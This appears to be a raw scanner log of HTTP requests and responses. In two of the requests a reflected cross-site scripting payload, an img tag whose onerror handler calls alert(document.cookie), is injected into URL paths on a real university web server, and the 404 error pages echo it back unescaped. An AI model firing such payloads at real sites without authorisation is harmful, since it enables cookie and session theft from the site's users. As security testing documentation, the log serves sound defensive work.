GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:53 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1136 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie</b> was not found or is no longer on ...[SNIP]...
GET /alpinef972a<img%20src=a%20onerror=alert(document.cookie)>e6e3afeb687/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 00:10:52 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1183 Connection: close Content-Type: text/html
<html> <head><title>URL Not Found</title></head> <body> <h1>URL Not Found</h1> <b>http://www.washington.edu/alpinef972a<img src=a onerror=alert(document.cookie)>e6e3afeb687/</b> was not found or ...[SNIP]...
GET /pine/ HTTP/1.1 Host: www.washington.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 15:11:59 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8h DAV/2 PHP/5.2.6 mod_pubcookie/3.3.3 mod_uwa/3.2.1 Last-Modified: Tue, 22 Jun 2010 11:34:33 GMT ETag: "7274aa-1b4f-4899cce20c440" Accept-Ranges: bytes Content-Length: 6991 Vary: Accept-Encoding Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta name="description" content="The Pine Information Center at the University of Washin ...[SNIP]...